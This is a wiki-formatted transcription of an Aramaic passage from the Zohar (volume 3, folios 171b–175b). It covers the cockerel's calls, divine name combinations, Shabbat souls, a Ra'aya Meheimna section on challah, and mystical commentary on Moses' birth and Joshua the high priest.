ומתכנשי לגו היכלא דבתיה תמן וחדאן תמן. בכמה מלין עתיקין. ומתמן נפקין ועאלין כלהו. והיא עמהון לגו היכלא דסרח. וחדאן בכמה מלין חדתין ועתיקין ומתמן נפקין והיא עמהון ועאלין לגו היכלא דיוכבד. וכן בכל אינון היכלין. השתא ר' אימא לך רזא חדא. 

תא חזי בכל שמטה ושמטה כרוזא נפיק אתכנישו גוברין ונשין וכל אינון בני מהימנותא וסליקו כדין כלהו מתפשטין דכורין ונשין וסלקין וכל אינון ינוקי מחלב עאלין לגו מתיבתא (ס&quot;א אתכנישו בני מהימנותא גוברין ונשין וכל אינון ינוקי מחלב וסליקו כדין כלהו מתפשטין דכורין ונשים וסלקין וכלהו עאלין לגו מתיבתא) דרקיעא וחדאן חדוה. ועלויא דלהון ותמן חדו על חדו. וההוא נער דמפתחן דמאריה בידיה קם ואמר לון כמה מלין חדתין ועתיקין וכלהו חמאן חדוה דלית חדוה כההיא חדוה. לבתר עאלין כלהו לגו כמה פרוכתין וכמה היכלין גניזין תמן דאינון נהרין בנעם יהוה בגו היכלא דאהבה דקב&quot;ה ודא הוא דכתיב {{צ|לחזות בנועם ה' ולבקר בהיכלו}} לבתר פרחין ינוקין לעילא ואינון פרחין לתתא ומהדרין לדוכתייהו ומתלבשן כדבקדמיתא. זכאה עמא דכל טובא דההוא עלמא מחכאן. אמר ר' שמעון כמה מתיקין מלין דשמענא. זכאה חולקא דידי דזכינא לכל האי למשמע זכאה יומא דנפיקנא הכא. אמרי ליה רבי תלת יומין אית לן רשו למיתי גבך ולבתר חד יומא (ס&quot;א ניזיל ולא אית לן רשו למיתי ובההוא יומא יתוסף) חדוה דילך איהו משיך משיכו מסטרא דיליה ואתטמר ואתחפא תחות אתר דאקרי תא הרצים עד פלגו ליליא. מבתר פלגו ליליא שלהובא דעמודא דיצחק נפיק ובטש בהאי תרנגולא דאקרי גבר כגוונא דגבר אחרא עלאה עליה כיון דבטש ביה האי גבר קרי ויהיב שית קלין וכלהו בסכלתנו. בשעתא דאיהו קרי כל תרנגולין דהאי עלמא קראן ונפיק מניח שלהובא אחרא ומטי לון תחות גדפייהו וקראן איהו מה קרי בשעתא קדמאה קרי ואמר {{צ|קול יהוה בהדר}}. ובשעתא תניינא קרי ואמר {{צ|קול יהוה לעיר יקרא וגו'}}. בשעתא תליתאה קרי ואמר {{צ|קול יהוה חוצב להבות אש}}. &lt;קטע סוף=דף קעא ב/&gt;

 
{{ממ זהר משולב|ג|קעב|א}}&lt;קטע התחלה=דף קעב א/&gt;בשעתא רביעאה קרי ואמר {{צ|קול יהוה יחיל מדבר וגו'}}. בשעתא חמישאה קרי ואמר {{צ|קול יהוה על המים וגו'}}. בשעתא שתיתאה קרי ואמר {{צ|קול יהוה יחולל אילות וגו'}}. לבתר קרי ואמר {{צ|קול אומר קרא ואמר מה אקרא וגו'}}. ודא איהו תרנגולא דקרי ולא שכיך ולבתר קרי כמלקדמין ומאי קרי כל עובדין דבני עלמא בגין דאיהו מאריה דאחמתא (ס&quot;א דחכמתא) וקסת הסופר בחרצוי וכל עובדין דבני עלמא כתיב בכל יומא. ובליליא בתר דקרי כל קריאן אלין קרי כל מה דכתב ביומא. ואלמלא רגלוי אצבעאן דיליה דאינון תרין דרגין חד ההוא דקיימא באמצעיתא דאיהו רב וההוא דקיימא מאחורא דאיהו זעיר דקא מעכבין ליה יהא מוקיד עלמא בשלהובוי. ומה עבדי כיון דסליק צפרא וחוטא דנהירו נפיק מסטר דרום כדין מתחברין כלהו ואתעבדין תרין רגלין תרין טלפין כעגלא לקיימא דכתיב {{צ|וכף רגליהם ככף רגל עגל}} והא ידעת רזא דא. שאלת ענפא דגורן לגו בעזרה דא אית תלת מאה ושתין וחמשה היכלין כחושבן יומי שתא ובכל פתחא ופתחא כתיב {{צ|יהי שלום בחילך שלוה בארמנותיך}} לא ידיע מאי הוא בהני היכלין אלא כלהו אתחמן עובד ציור. שבע סדרין דמרגלאן אתחמן אלין באלין בכל חד וחד. אי חסידא קדישא כמה משבח רב מתיבתא היכלא חדא דאיהו בריש סטר מזרח דעזרה דא בגין דארבע אינון בד' סטרין דעלמא אבל היכלא דסטר מזרח אסגי נהורין דיליה יתיר מכלהו. יומא חד בימא רבא לויתן נפיק וכל ימא אזדעזע וכל נוני אזלין לכאן ולכאן כד מטי לויתן בפתחא דפתחא דתהומא שארי למחדי ואשתכך תמן תהומי אלא ההוא כחיזו דמעיין ואתחפיין נהורין ולא אתחזון כל אינון נהורין בר נהורא דהיכלא דבסטר מזרח. דא ההוא מרגלא דקא אפיק לויתן מגו ההוא תהומא דאקרי סגדו&quot;ן. ממה אתעביד. אלא יומא דא דקא אפיק לויתן דאזדעזע ימא יומא דאתחרב בי מקדשא ט' באב איהו. וההוא מרגלא דכד דכיר קב&quot;ה לבנוי ואושיד תרין דמעין לגו ימא רבא חד נפיל לגו תהומא דא דאקרי סגדו&quot;ן וחד נפיל לגו תהומא אחרא דאקרי גילב&quot;א בגין דחמש תחומי אחרנין אינון בימא רבא. אבל לא חשיבין כהני אחרנין וכיון דנפלי אינון דמעין קפאן גו תהומי חד. וחד אטבע גו תהומא דאקרי גילב&quot;א דתתא גו שמרים דחמרא דורדיין בישין נפיק חד ערעורא מקטרגא מזיקא קדמאה ואיהו ברוחא דיוקנא דאדם כד קריב לגו קודשא כיון דמתעבר מתמן ובעי לנחתא לתתא לאתלבשא בלבושא לנזקא עלמא נחית הוא ורתיכוי. ולבושא קדמאה דקא נקיט תבנית שור דיוקנא דשור וקדמאה לנזיקין מאינון ארבע. שור איהו. ואינון ארבע אבות לנזקא עלמא. וכלהו תלתא אבות נזיקין בר שור כלהו דיליה ועל דא כתיב {{צ|וימירו את כבודם בתבנית שור אוכל עשב}}. מהו {{צ|אוכל עשב}}? הא דרשינן ביה. אבל עקרא דמלה מתמצית הלחם ולא שבעת זיני דגן לית ליה בהו חולקא ולא יאות ליה למהוי תמן מדוכתייהו ואלין יתבין בדוכתייהו עד לא נפקי אלין זמינין אלין נהירו ונציצו דלהון לא יכלין עיינין למסבל. אזלין בסחרנין לית להון שכיכו לעלמין. כד אסתכל בר נש בהאי היכלא מיד באסתכלותא קדמאה אתחזי זעיר ולא זעיר אסתכל יתיר אתחזי רב. תו אסתכל אתחזי יתיר רב כל מה דאסתכל הכי אתחזי באתפשטותא רב ועלאה עד דדמי &lt;קטע סוף=דף קעב א/&gt;

 
{{ממ זהר משולב|ג|קעב|ב}}&lt;קטע התחלה=דף קעב ב/&gt;באסתכלותא כמלא נימא דלית ליה שיעורא עובדין סגיאין לגו דלא ידיע אומנו דלהון מניה נהרא עזרה וכל מה דאית בה בר כרובים דנהורא דלהון סלקא עד רום רקיעא בגוונין סגיאין ונהורין מנצצן אלף וחמש מאה וחמשה ושבעין גופנין עבדין איבין בעזרה דא יתיר חובק את ידיו במרירו ואנינו דיליה ולבתר אוכל את בשרו בעל כרחיה דלית ליה רשו לשלטאה על מלה אחרא מה אתהני ליה בכל מה דאסטי ועביד ועמל דלבתר לית ליה רשו אלא על דיליה לבתר מרקיד וחדי ככסיל בלא דעתא כלל ואזיל בלא תועלתא ואכיל לבשרא. ובשאר לית ליה רשו מרירו דעילא ותא כד ישראל בעאקו ואכלי לון שנאיהון ולא יהבי חילא בעובדין טבין דלהון לאפקא מניה ואפילו מבשריה דאיהו מהאי סטר אבאיש קמי מלכא קדישא דאיהו רחום וחנון אבל על דיליה רוחא קדישא ונשמתא קדישא לית עלאין ותתאין יכלין לשלטא עלוי כלל ועל דא כל תסקופין וכל מה דאסטי ההוא רע דחשיב למשלט על רוחא קדישא ולבתר לא יכיל וישוב ואוכל את בשרו. מה תועלתא הוה ליה. ועוד דאינון חפאן כלהו כערטיראה תקיף ולית שכיכו לעלאין ותתאין. תא ואימא לך מלה. אי תימא דחדו הוא למלאך המות כד קטיל בני נשא. לאו. אלא בגין דחמי דרעותא דמאריה בכך אחזי גרמיה בחדו למעבד רעותיה דקב&quot;ה דכתיב {{צ|רוח סערה עושה דברו}}. 

א&quot;ל ר&quot;ש והא איהו אזיל ומרקד בחדוה קמי נשין 
א&quot;ל אי חסידא קדישא ודאי הכי הוא לאחזאה קמי מלכא דניחא ליה ברעותיה דמלכא. אבל נייחא דיליה בהספדא דנשין איהו רקיד ואודניה להספדא. 
א&quot;ל אי הכי אמאי אזיל ואסטי על בר נש לעילא ואדכר לחובוי. 
א&quot;ל בגין דאיהו זקן וכסיל וחשיב למשלט על רוחא וכל תאובתיה בגיני כך איהו לסוף לא שליט אלא על דיליה. בשרא דיליה. ועל דא כתיב {{צ|ישוב עמלו בראשו}} אזיל ובעי לארגשא עלמא ומיא סליקין מגו שאר תהומין ובעאן לחפיא עלמא אינון דמעין רתיחין יתיר מכל אשא דעלמא ומגו תוקף דרתיחו דלהון אקפו מיא גו ימא דנקפא ואלמלא דרמז קב&quot;ה חד נשיבו מסטרא דאברהם מעמודא דיליה ואחזי על עלמא לא יכיל למיקם אפילו רגעא חדא. אינון דמעין כד נפלין גו ימא אשתמע קלא בין ימא עד מערתא דכפלתא מקל נהימו דלהון דקא אשתמע תמן כד עאלין גו ימא מתערן אבהן קדמאי וקמו וחשבו דקב&quot;ה בעי לאהפכא עלמא עד דקלא נפיק ואמר לון לא תדחלו רחימין קדישין בגינכון דכיר קודשא בריך הוא לבניכון ואיהו בעי דמפרק לון ואתון תחמון אלפא ביתין כלהו משלבן ומתצרפאן אלין באלין ואתחברן בצרופא דשמא קדישא כיון דאתחזון אתוון בצרופא דא אלין גניזין ונפקין אחרנין וכן כלהו אלין גניזין ואלין נפקין כלהו לגו בחלולא דאינון כפתורים. תו פרחי תלת זמנין ביומא באוירא ונפקי לבר וקיימא שמא בארבע אתוון תליין באוירא שעתא ופלגא לבתר גניז דא מיד נפיק מגו אוירא מחלולא דיליה שמא דתריסר אתוון פרח ותליא באוירא שעתא חדא ולא יתיר לבתר גניז דא ונפקא מיד צרופא דאתוון אחרנין שמא דכ' (ס&quot;א דכ&quot;ב) אתוון ותליין באוירא שעתא אחרא ואגניז. ומיד נפקי אתוון מחלולא אחרא שמא דתמניא ועשרין אתוון מתעטרין כלהו בכתרייהו וקיימי שעתא ופלגא ואגניז דא ומיד נפקי תליא באוירא שמא דעשרין וחמש אתוון בצרופייהו וקיימא שעתא ותלת רגעי נפקי אתוון בארבעין ותרין אתוון לעלמא קיימא שמהן אלא אתוון כולהו לא &lt;קטע סוף=דף קעב ב/&gt;

 
{{ממ זהר משולב|ג|קעג|א}}&lt;קטע התחלה=דף קעג א/&gt;משתככי לעלמין בלטי ומנצצי לבר וסלקי ונחתי לית מאן דיכיל לקיימא בהו בר משיח בטורח סגי. דא גניז לבתר דקיימא תרין שעתין ועשרין ותרין רגעין והאי שמא גליפא דע&quot;ב אתוון קא נפיק וקיימא ותליא באויר אשעתא ופלגא כל הני שמהן לא נפקי ולא אתחזון אלא זמנא חדא ביומא אבל אינון אלפא ביתין אתחזון פרחין באוירא ומצרפין אלין באלין תלת זמנין ביומא כד פרחן אתוון דאלפא ביתין אלין פרחין מכאן ואלין מכאן ומתצרפן כלהו כד נחית תמן רב מתיבתא שארי משיח חמא בצרופא דאלפא ביתא אתוון כמה דחמא דניאל דאינון ממתוס ננקפי אאלרן. כל מעלי שבתא כד מקדשין ישראל יומא לתתא כרוזא כריז לארבע סטרי עלמא אתכנשו משריין קדישין אתקנו כרסיין (קדישין) מאן חמי חדוה בתלת מאה ותשעין רקיעין כמה ממנן כמה שלטונין מתכנשין לאתרייהו. כיון דישראל לתתא מקדשין (וקב&quot;ה) כדין אתער אילנא דחייא ואקיש באינון טרפין דיליה רוח נשיבו חד מגו עלמא דאתי ואינון ענפין דאילנא מתנענען וסלקין ריחין דעלמא דאתי ההוא אילנא דחיי אתער ואפיק נשמתין קדישין ופריש על עלמא. ועם כל דא נשמתין נפקין ונשמתין עאלין אלין מתערי אלין. אלין נפקין ואלין עאלין ואילנא דחיי בחדוה. וכדין ישראל כלהו מתעטרין בעטרין דאינון נשמתין קדישין כלהו בחדוה בנייחא. וכלה שבת אית לון ההוא חדוה וההוא נייחא וכל צדיקייא די בגנתא כלהו סלקין ומתענגין בענוגא עלאה דעלמא דאתי. כיון דנפיק שבתא כלהו נשמתין פרחין וסלקין. 

תא חזי כד עייל שבתא נשמתין נחתין לשרייא על עמא קדישא ונשמתין דצדיקייא סלקין לעילא. כד נפיק שבתא נשמתין סלקין אינון דשארו עלייהו דישראל ונשמתין נחתין אינון נשמתין דצדיקייא כיון דסלקין כלהו נשמתין דשארו עלייהו דישראל סלקי וקיימין בדיוקנא קמי מלכא קדישא וקב&quot;ה שאיל לכלהו מאי חדושא הוה לכו בההוא עלמא באורייתא. זכאה איהו מאן דחדושא דאורייתא אמרת קמיה. כמה חדוה עביד קב&quot;ה כניש לפמליא דיליה ואמר שמעו חדושא דאורייתא דאמרת נשמתא דא דפלו' וכלהו מוקמי ההיא מלה בתרי מתיבתי. אינון לתתא וקב&quot;ה לעילא חתים לההיא מלה. 

תא חזי כד מלה אתחדש באורייתא ונשמתא דנחתא בשבתא אתעסקת באינון מלין חדתין וסלקי לעילא. כל פמליא דלעילא צייתין לההוא מלה וחיות הקדש מתרבן בגדפין ומתלבשן בגדפין. וכד שאיל לון קב&quot;ה ולא תבין ושתקין כדין חיות הקדש מה כתיב {{צ|בעמדם תרפינה כנפיהם}} כמה דאת אמר כי עמדו לא ענו עוד וכפתחו עמדו כל העם. ואי תימא שתיקה אמאי קרו ליה עמידה אלא בדבורא אית ז' שייפין דמתנענען בהדיה. לבא. ריאה. קנה. לשון. שניים. שפוון. בשר. ובשתיקה קיימו בקיומייהו בלא נענועא. ועל דא קרי לשתיקה עמידה דהא רב המנונא סבא (נ&quot;א רב מתיבתא) אמר ישלח עזרך מקדש וגו'. מקדש דא קדוש ידים. ומציון יסעדך דא המוציא דאיהו סעיד לבא דבר נש. יזכור כל מנחותיך כל לאסגאה מלה אחרא. דא נטילת ידים בתרייתא. ועולתך ידשנה סלה דא ברכת המזון בזמון. ואי את עביד כן יתן לך כלבבך וכל עצתך ימלא. ובשבת מקדש דא קדושא רבא ועל מלה דא אתעטרו צדיקייא בגן עדן משבת לשבת אחרא. תו פתח ואמר על הר &lt;קטע סוף=דף קעג א/&gt;

 
{{ממ זהר משולב|ג|קעג|ב}}&lt;קטע התחלה=דף קעג ב/&gt;גבוה עלי לך מבשרת ציון וגו'. על הר גבוה האי ודאי הר העבדים אתר דמשה אתקבר. והא אוקמוה דשכינתא תסלק לתמן ותבשר עלמא. אבל כלא איהו. מבשרת ציון דא איהי חפצי בה אתתא דנתן בר דוד אימא איהי דמשיחא מנחם ב&quot;ר עמיא&quot;ל ואיהי תיפוק ותבשר ואיהי בכללא דמבשרת ציון קלא ישתמע בעלמא ותרין מלכין יתערון בעלמא לאגחא קרבא ויפוק שמא קדישא על עלמא. מה תבשר ותימא (שם) הנה אֲדנָי יְהֹוִה בחזק יבא וזרועו מושלח לו הנה שכרו אתו ופעולתו לפניו. הנה שכרו אתו דקב&quot;ה כריז בכל פמליא דלעילא ויימא לון אתכנשו ודאינו דינא. מאן דמסר נשמתיה על קדושת שמי אגריה מאי הוא ואינון יימרון כך וכך. מאן דסביל כמה חרופין וגדופין בכל יומא עלי מהו אגריה. אינון אמרי כך. מאן דאתענש בכל יומא עלי מהו אגריה. אינון אמרי כך. הדא הוא דכתיב {{צ|הנה שכרו אתו ופעולתו לפניו}}. מהו ופעולתו אלא כמה דכתיב {{צ|מה רב טובך וגו'}}. פעלת לחוסים בך דא הוא פעולתו. נגד בני אדם מהו אלא נגד עכו&quot;ם. אשר צפנת ליראיך. מהו {{צ|אשר צפנת}}? וכי מאן יגזול ויטול מן ידוי מה דהוא בעי למיהב דכתיב {{צ|צפנת}}. אלא פוק וחמי עובדין דרחמנו דעבד קב&quot;ה במה דאיהו מחי ביה יהיב אסוותא. במה מחי בשמאלא. בימינא קריב ובשמאלא מחי. במה דמחי ביה יהיב אסוותא לעולם כתיב ירמיה א (?)צפון תפתח הרעה. ובצפון מחי. דמתמן נפקי כל דינין וכל גזירי. קשיין. וביה שרי כל אגר טב וכל טיבו דזמין קב&quot;ה למיהב לישראל. לזמנא דאתי קרי קב&quot;ה לצפון ויימא ליה בך יהבית כל טיבו וכל אגר טוב לבני דסבלו כמה בישין בהאי עלמא על קדושת שמי. הב אגרין טבין דיהבית בך. הדא הוא דכתיב {{צ|אומר לצפון תני ולתימן אל תכלאי וגו'}}. וכי ארחא הכי הוא דדרום לממנע ברכאן והא כל ברכאן מסטרא דדרום וכל טבין דעלמא מדרום נפקי ואיהו אמר לתימן אל תכלאי אלא בההיא שעתא יתער קב&quot;ה לאברהם ויימא ליה קום דהא מטא זמנא דאנא פריק לבנך למיהב לון אגר טב על כל מה דסבלו בגלותא ומגו דאברהם הוה בזבינו דלהון דכתיב {{צ|אם לא כי צורם מכרם}} דא אברהם. הוה ליה כמאן דלא טב בעינוי. ואחמי גרמיה כמאן דבעי דילקון על חוביהון יתיר ויימא גבו מחוביהון גבו מחטאיהון א&quot;ל קב&quot;ה לאברהם ידענא כלא איהו מה דאמרת לאנפין. אנא אוף הכי לאנפין. אל תכלאי אנא בעי לפייסא לך על בנך. לא תמנע טיבו מנהון לא תמנע אגר טב מנהון כמה וכמה סבלו על חוביהן ובגיני כך אומר לצפון תני. והיינו {{צ|אשר צפנת}}. ודא הוא מלה (ס&quot;א דתהא) דההיא מבשרת. ותו תבשר זמנא תניינא בשעתא דשכינתא תסלק על ההוא טורא עלאה ותהך ותבשר לאבהן מיד תהך לירושלם ותחמי לה בחרבנא. תיעול לציון ותמן תקרקר קירא כמלקדמין על אתר בי מותבה ועל יקרא דילה בההוא אתר. ותמן אומיאת דלא תיטול מתמן ולא תפוק עד דקב&quot;ה יפרוק לבנהא ודא חפצי בה. תבשד(?) כמלקדמין ואמרת צהלי ורני יושבת ציון כי גדול בקרבך וגו'. מאי {{צ|גדול בקרבך}}? דא קב&quot;ה דאיהו אתי לגבה לאקמא לה מעפרא ויימא לה התנערי מעפר קומי שבי ירושלם ירושלם איהי וירושלם שמה ודאי. ובדא אוף הכי כמה חדו על חדו הוי לצדיקייא בגן עדן ובגין כך זכאה איהו מאן דנשמתיה בשבת אסהידת קמי מלכא על חדושא דאורייתא דקב&quot;ה. וכל פמליא דיליה וכל אינון נשמתין דצדיקייא דהוו בגן עדן כלהו מתעטרן בההוא מלה. 

תו שמענא בוצינא &lt;קטע סוף=דף קעג ב/&gt;{{ממ זהר משולב|ג|קעד|א}}&lt;קטע התחלה=דף קעד א/&gt;קדישא דכמה יקר על יקר ועטרה על עטרה מעטרן לאבוה דההוא ב&quot;נ תמן בשעתא דאמר קב&quot;ה אתכנשי למשמע חדושא ומלין חדתין דאורייתא משמיה דפלוני בר פלוני כמה אינון דנשקין על רישיה כמה צדיקייא מעטרין ליה כד נחתין. זכאה חולקהון דכל אינון דמשתדלין באורייתא יומא דשבתא משאר יומין. ע&quot;כ:

רעיא מהימנא

(במדבר ט&quot;ו) רֵאשִׁית עֲרִיסוֹתֵיכֶם חַלָּה תָּרִימוּ וְגוֹ', פִּקּוּדָא דָּא לְהַפְרִישׁ חַלָּה לַכֹּהֵן. חַלָּ&quot;ה הָכִי חוּשְׁבָּנֵיהּ, מ&quot;ג בֵּיצִּים, וְחוֹמֶשׁ בֵּיצָּה, חַד מֵחֲמֵשׁ. וְאִית חוֹמֶשׁ חַד מִן חַמְשִׁין, דְּאִיהוּ ן'. וְדָא סִימַן מָגֵ&quot;ן, דְּאִיהוּ מִיכָאֵ&quot;ל גַּבְרִיאֵ&quot;ל נוּרִיאֵ&quot;ל. חַלָה, שְׁכִינְתָּא. דִּבַאֲתָר דְּאִלֵּין מַלְאֲכִין תַּמָּן, אֲבָהָן תַּמָּן. וּבְאַתְרָא דַּאֲבָהָן תַּמָּן, שְׁכִינְתָּא תַּמָּן. וּבָה וַיְחַל, בָּהּ צַּלֵּינָא, הֲדָא הוּא דִכְתִיב (שמות לב) וַיְחַל מֹשֶׁה אֶת פְּנֵי יְיָ אֱלֹהָיו. (דברים ג) אֲדֹנָי יֶדוִֹד אַתָּה הַחִלּוֹתָ לְהַרְאוֹת אֶת עַבְדְּךָ. וּבָהּ חָלָה זְכוּת אָבוֹת. וּבָהּ תָּמָה זְכוּת אָבוֹת לָרְשָׁעִים. דַּהֲווֹ מְקַבְּלִים אַגְרַיְיהוּ בְּהַאי עָלְמָא. דְּמִסִטְרָא דִּימִינָא, דְּתַמָּן י' דְּאִיהוּ חָכְמָה, שֵׁרוּתָא דִּשְׁמָא דַּיְדוָֹד, דְּאִיהוּ אַחְזֵי זְכוּתָא עַל בְּנָהָא מִימִינָא, דְּתַמָּן רמ&quot;ח פִּקוּדִין דַּעֲשֵׂה. מִסִּטְרָא דְּאָת ה' בַּתְרָאָה, דְּאִיהִי לִשְׂמָאלָא דִּגְבוּרָה, דְּתַמָּן לֹא תַּעֲשֶׂה, דְּאִינּוּן שס&quot;ה, דְּתַמָּן נִדוֹנִין רְשָׁעִים גְּמוּרִים, תָּמָה לוֹן זְכוּת אָבוֹת, וְאִתְהַפָּךְ לוֹן שֵׁם יְהוָֹ&quot;ה, הוה&quot;י. וְאוֹלִיפְנָא מֵהָמָן הָרָשָׁע, (אסתר ה) וְכָל זֶה אֵינֶנּוּ שׁוְֹה לִי. 

(ע&quot;כ רעיא מהימנא)

{{צ|ויאמר יהוה אל משה לאמר דבר אל בני ישראל וגו' ועשו להם ציצית על כנפי בגדיהם לדורותם וגו'}}. {{ש}}
ר' חזקיה פתח: {{צ|ויראני את יהושע הכהן הגדול וגו'}}. כמה זכאין אינון ישראל דקב&quot;ה בעי ביקרהון על כל בני עלמא ויהב לון אורייתא קדישא ויהב לון נביאי מהימני דמדברי להו באורייתא בארח קשוט. תא חזי כל נביאי ונביאי דאוקים קב&quot;ה לישראל כלהו אתגלי קב&quot;ה עלייהו בדרגין עלאין קדישין וחמו זיו יקרא קדישא דמלכא מאתר עלאה אבל לא קריב כמשה דהוה קריב למלכא יתיר מכלא דהא זכאה חולקיה יתיר מכל בני עלמא דעליה כתיב {{צ|פה אל פה אדבר בו ומראה ולא בחידות}} ושאר נביאי הוו חמאן מאתר רחיקא כמה דאת אמר מרחוק יהוה נראה לי א&quot;ר חזקיה הכי אוליפנא כתיב {{צ|וילך איש מבית לוי ויקח את בת לוי}}. {{צ|וילך איש}} - דא קב&quot;ה כמה דאת אמר {{צ|יהוה איש מלחמה}}. {{צ|מבית לוי}} - דא קב&quot;ה אתר דחכמה עלאה וההוא זוהר (ס&quot;א נהר) מתחברן כחדא דלא מתפרשן לעלמין. {{צ|מבית לוי}} - דאשרי לויתן (ס&quot;א כל חידו) בלחודוי בעלמא הדא הוא דכתיב {{צ|לויתן זה יצרת לשחק בו}}. {{צ|ויקח את בת לוי}} - דא קב&quot;ה אתר דנהירו דסיהרא נהיר. {{צ|ותהר האשה ותלד בן}}. {{צ|האשה}} ודאי כמה דאת אמר {{צ|לזאת יקרא אשה}}. בקדמיתא {{צ|בת לוי}} הכי הוא ודאי וכי בת לוי בקדמיתא והשתא אשה? אלא הכי אוליפנא אתתא עד לא אזדווגת אתקריאת 'בת פלוני', בתר דאזדווגת אתקרי' 'אשה'. והכא בת ואשה כלא בחד דרגא היא. 

{{צ|ותצפנהו שלשה ירחים}} - אלין תלת ירחין דדינא קשיא שריא בעלמא. ומאי נינהו תמו&quot;ז וא&quot;ב וטב&quot;ת. מאי קא משמע לן דעד דלא נחת משה לעלמא שכיח הוה הוא לעילא ועל דא אזדווגת ביה שכינתא מן יומא דאתיליד. מכאן אמר רבי שמעון רוחיהון דצדיקייא שכיחין אינון לעילא עד לא יחתון לעלמא. {{צ|ולא יכלה עוד הצפינו ותקח לו וגו'}} מאי {{צ|ותקח לו תיבת גמא}}? דחפת ליה בסימנהא למהוי נטיר מאינון נוני ימא דשאטין בימא רבא כמה דכתיב {{צ|שם רמש ואין מספר}}, והיא חפת ליה למהוי נטיר מנייהו בחפו (ס&quot;א דסטרא דיובלא יקירא) דבני ימא בלא יקירא בתרי גוונין בחיוור ואוכס ואנח ליה למשה למישט בינייהו &lt;קטע סוף=דף קעד א/&gt;

 
{{ממ זהר משולב|ג|קעד|ב}}&lt;קטע התחלה=דף קעד ב/&gt;לאשתמודע ביניהון בגין דזמין הוא לסלקא בינייהו זמנא אחרא לקבלא אורייתא. {{צ|ותרד בת פרעה}} - דא היא דאתיא מסטרא שמאלא דדינא קשיא כמה דאתמר {{צ|לרחוץ על היאור}}. {{צ|על היאור}} דייקא ולא &quot;על הים&quot;. ואיתימא הא כתיב {{צ|ומטך אשר הכית בו את היאור}}. ומשה לא הכה אלא בים וקרייה קרא יאור אלא יאור הוה דמחא אהרן על ידא דמשה ושווייה קרא דאיהו עבד כהאי גוונא {{צ|וימלא שבעת ימים אחרי הכות יהוה את היאור}} ואהרן הכה אלא (ס&quot;א על דא) עד דאתא סטרא דקב&quot;ה קרייה קרא הכות יהוה לבתר קרייה בשמא דמשה. 

{{צ|ונערותיה הולכות}} - אינון שאר משריין דאתיין מסטרא דא. {{צ|ותפתח ותראהו את הילד}} - {{צ|ותראהו}} - &quot;ותרא&quot; מבעי ליה! מאי {{צ|ותראהו}}? והא אמר רבי שמעון לית לך מלה באורייתא או את חד באורייתא דלא אית ביה רזין יקירין ועלאין. אלא הכי אוליפנא רשימא דמלכא ומטרוניתא אשתכח ביה ואינון רשימא דוא&quot;ו ה&quot;א מיד {{צ|ותחמול עליו וגו'}}. עד כאן לעילא. מכאן ולהלאה לתתא בר האי קרא דכתיב {{צ|ותתצב אחותו מרחוק}} - אחותו דמאן? אחותו דהאי איהו דקרא לכנסת ישראל אחותי כמה דאת אמר {{צ|פתחי לי אחותי}}. {{צ|מרחוק}} כמה דאת אמר {{צ|מרחוק יהוה נראה לי}} מאי משמע? משמע דאינון זכאין עד דלא נחתו לעלמא אשתמודען אינון לעילא לגבי כלא וכ&quot;ש משה ומשמע דנשמתהון דצדיקייא אתמשך מאתר עלאה כמה דאוקימנא. ורזא דמלה אוליפנא דמשמע דאב ואם אית לנשמתא כמה דאית אב ואם לגופא בארעא ומשמע דבכל סטרין בין לעילא בין לתתא מדכר ונוקבא כלא אתיא ואשתכח והא אוקמוה רזא דכתיב {{צ|תוצא הארץ נפש חיה}}. {{צ|הארץ}} - דא כנסת ישראל. {{צ|נפש חיה}} - נפשא דאדם קדמאה עלאה כמה דאתמר. 

אתא רבי אבא ונשקיה אמר ודאי שפיר קא אמרת והכא הוא כלא. זכאה חולקיה דמשה נביאה מהימנא על כל שאר נביאי עלמא בגין כך לא אשתדל ביה כד אסתלק מעלמא בר קב&quot;ה דאעליה לפרגודיה ועל דא סליק משה בנבואה עלאה ובדרגין יקירין מכל נביאי עלמא ושאר נביאי חמאן בתר כותלין סגיאין. 

{{צ|ויראני את יהושע הכהן הגדול}}. מאי קא חמא דהוה קאים קמי מלאכא ומתלבש בלבושין מלוכלכין עד דכרוזא נפיק ואמר הסירו הבגדים הצואים מעליו. אמר רבי יצחק כתיב הכא {{צ|ועומד לפני המלאך}}. מאי {{צ|לפני המלאך}}? דהוה דאין דינוי ההוא דכתיב ביה {{צ|ואל תאמר לפני המלאך כי שגגה היא}}. מאי קא משמע לן דכל בר נש דלא זכי בהאי עלמא לאתעטפא בעטופא דמצוה ולאתלבשא בלבושא דמצוה - כדעייל בההוא עלמא קאים בלבושא טנופא דלא אצטריך וקאים בדינא עליה. 

תא חזי כמה לבושין מזדמנין בההוא עלמא וההוא בר נש דלא זכי בהאי עלמא בלבושין דמצוה כד עייל לההוא עלמא מלבשין ליה בחד לבושא דאשתמודע לגבי מאריהון דגיהנם וההוא לבושא ווי למאן דאתלבש ביה דהא כמה &lt;קטע סוף=דף קעד ב/&gt;{{ממ זהר משולב|ג|קעה|א}}&lt;קטע התחלה=דף קעה א/&gt;גרדיני נמוסין זמינין לאחדא ביה ועיילי ליה לגיהנם ושלמה מלכא צווח ואמר {{צ|בכל עת יהיו בגדיך לבנים}}. 

תאנא ברזא דספרא דצניעותא ארבע מלכין נפקין לקדמות ארבע סהדי בהו תלין כענבים באתכלא צרירן בהו ז' רהיטין סהדין סהדותא ולא קיימין בדוכתייהו: &lt;קטע סוף=דף קעה א/&gt;

 
{{ממ זהר משולב|ג|קעה|ב}}&lt;קטע התחלה=דף קעה ב/&gt;אמר רבי יהודה כמה סהדי עביד קב&quot;ה לאסהדא בהו בבני נשא וכלהו בעיטא ובסהדותא קיימין לקבליה. קם בצפרא אושיט רגלוי למהך. סהדייא קיימין לקבליה מכריזין ואמרין {{צ|רגלי חסידיו ישמור וגו'}}. {{צ|שמור רגלך כאשר תלך}}. {{צ|פלס מעגל רגלך}}. אפתח עינוי לאסתכלא בעלמא סהדייא אמרי (שם) {{צ|עיניך לנכח יביטו}}. קם למללא סהדייא אמרי {{צ|נצור לשונך מרע וגו'}}. אושיט ידוי במלי עלמא סהדייא אמרי (שם) {{צ|סור מרע ועשה טוב}}. אי ציית להו יאות. ואי לא כתיב {{צ|והשטן עומד על ימינו לשטנו}} - כלהו סהדין עליה בחובוי לעילא. אי בעי בר נש לאשתדלא בפולחנא דקב&quot;ה כלהו סהדין סניגורין קמיה וקיימין לאסהדא עליה טבאן בשעתא דאצטריך ליה. קם בצפרא מברך כמה ברכאן. אנו(?) תפילין ברישיה בין עינוי בעי לזקפא רישיה חמי שמא קדישא עלאה אחיד ורשים על רישיה ורצועין תליין מהאי גיסא ומהאי גיסא על לביה. הא אסתכל ביקרא דמאריה אושיט ידוי חמי ידא אחרא מתקשרא בקשורא דשמא קדישא אהדר ידיה ואסתכל ביקריה 